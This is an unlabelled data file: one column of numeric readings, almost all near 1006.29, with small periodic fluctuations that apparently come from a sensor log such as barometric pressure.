1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.31
1006.32
1006.31
1006.32
1006.32
1006.32
1006.29
1006.29
1006.33
1006.35
1006.33
1006.29
1006.29
1006.3
1006.31
1006.32
1006.32
1006.32
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.31
1006.31
1006.31
1006.32
1006.31
1006.31
1006.32
1006.33
1006.33
1006.31
1006.3
1006.31
1006.32
1006.32
1006.32
1006.32
1006.31
1006.31
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.27
1006.3
1006.29
1006.27
1006.3
1006.29
1006.27
1006.3
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.3
1006.29
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.27
1006.29
1006.3
1006.27
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.32
1006.32
1006.32
1006.31
1006.31
1006.31
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.3
1006.28
1006.28
1006.3
1006.28
1006.27
1006.31
1006.28
1006.27
1006.31
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.31
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.27
1006.31
1006.27
1006.28
1006.31
1006.26
1006.29
1006.29
1006.28
1006.28
1006.3
1006.29
1006.27
1006.3
1006.29
1006.27
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.26
1006.32
1006.26
1006.3
1006.29
1006.27
1006.29
1006.3
1006.27
1006.29
1006.31
1006.26
1006.28
1006.3
1006.28
1006.27
1006.29
1006.29
1006.28
1006.28
1006.3
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.3
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.3
1006.28
1006.28
1006.29
1006.3
1006.26
1006.31
1006.28
1006.27
1006.29
1006.3
1006.27
1006.28
1006.3
1006.28
1006.27
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.31
1006.26
1006.31
1006.28
1006.28
1006.31
1006.27
1006.28
1006.3
1006.28
1006.27
1006.3
1006.29
1006.27
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.27
1006.31
1006.25
1006.33
1006.25
1006.3
1006.29
1006.28
1006.28
1006.31
1006.26
1006.29
1006.3
1006.28
1006.27
1006.3
1006.29
1006.28
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.28
1006.27
1006.27
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.3
1006.27
1006.3
1006.29
1006.28
1006.29
1006.3
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.26
1006.32
1006.25
1006.31
1006.27
1006.28
1006.3
1006.28
1006.28
1006.3
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.3
1006.3
1006.29
1006.28
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.27
1006.31
1006.27
1006.3
1006.28
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.27
1006.27
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.31
1006.27
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.27
1006.28
1006.29
1006.3
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.26
1006.31
1006.27
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.3
1006.3
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.3
1006.29
1006.28
1006.27
1006.27
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.3
1006.27
1006.3
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.27
1006.28
1006.29
1006.3
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.3
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.28
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.28
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.28
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
1006.29
